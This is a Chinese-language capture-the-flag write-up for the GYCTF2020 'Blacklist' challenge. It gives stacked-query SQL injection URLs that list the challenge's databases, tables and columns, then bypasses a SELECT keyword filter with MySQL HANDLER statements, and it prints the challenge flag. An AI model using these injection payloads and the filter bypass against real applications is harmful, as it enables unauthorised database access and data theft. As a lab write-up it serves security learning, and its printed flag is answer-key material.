【SQL注入——handler】GYCTF2020 Blacklist WriteUp

题目链接:

BUUCTF (buuoj.cn)

WriteUp:

打开题目:

image-20210508200402421

常规手段,爆一下数据库

http://f89901ab-3d06-4c90-9b4d-f83efddc287e.node3.buuoj.cn/?inject=1' ; show databases; --+

image-20210508200602376

爆一下表名

http://f89901ab-3d06-4c90-9b4d-f83efddc287e.node3.buuoj.cn/?inject=1' ; show tables ; --+

image-20210508200953168

查看FlagHere中的字段(由于下方有反引号,使用代码块代替)

1
http://f89901ab-3d06-4c90-9b4d-f83efddc287e.node3.buuoj.cn/?inject=1' ; show columns from `FlagHere` ; --+

image-20210508201224186

使用select语句

1
http://f89901ab-3d06-4c90-9b4d-f83efddc287e.node3.buuoj.cn/?inject=1' ; select * from `FlagHere` ; --+

image-20210508201616848

被过滤了这些关键字,因此使用handler进行注入

http://f89901ab-3d06-4c90-9b4d-f83efddc287e.node3.buuoj.cn/?inject=1' ; handler FlagHere open ; handler FlagHere read first ; handler FlagHere close --+

image-20210508201828028

得到Flag:flag{64ca5e0c-5014-4baf-b874-7f7757b32d37}

handler 命令

命令方法:

1
2
3
4
5
6
7
8
9
10
HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE

通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tbl_name的句柄。
通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
通过HANDLER tbl_name CLOSE来关闭打开的句柄。